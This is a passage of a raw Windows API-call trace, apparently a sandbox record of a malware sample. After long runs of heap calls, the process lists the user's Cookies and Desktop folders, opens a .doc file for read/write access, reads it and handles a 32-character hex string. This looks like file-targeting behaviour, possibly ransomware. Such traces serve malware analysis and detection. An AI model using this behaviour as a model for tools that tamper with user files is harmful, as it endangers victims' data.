hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.964] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.964] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0119.964] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0119.964] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.964] PathFindFileNameW (pszPath="") returned="" [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.964] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde5e0 | out: hHeap=0x5e0000) returned 1 [0119.964] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde5e0 [0119.964] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.964] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.965] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.965] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.966] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0119.966] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0119.966] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0119.966] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.966] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0119.966] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.966] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.966] PathFindFileNameW (pszPath="") returned="" [0119.966] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc44b08b0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xc44b08b0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.966] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc44b08b0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xc44b08b0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.966] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe702f0, ftCreationTime.dwHighDateTime=0x1d4d286, ftLastAccessTime.dwLowDateTime=0x2aba07a0, ftLastAccessTime.dwHighDateTime=0x1d4d4b9, ftLastWriteTime.dwLowDateTime=0x2aba07a0, ftLastWriteTime.dwHighDateTime=0x1d4d4b9, nFileSizeHigh=0x0, nFileSizeLow=0x11a4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2-_K6lTtjSYNHLM8.doc", cAlternateFileName="2-_K6L~1.DOC")) returned 1 [0119.966] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2-_K6lTtjSYNHLM8.doc") returned=".doc" [0119.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2-_K6lTtjSYNHLM8.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2-_k6lttjsynhlm8.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0119.966] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=72270) returned 1 [0119.967] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0119.968] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11a28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.968] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.970] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x11a4e, lpOverlapped=0x0) returned 1 [0119.971] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.971] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.971] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 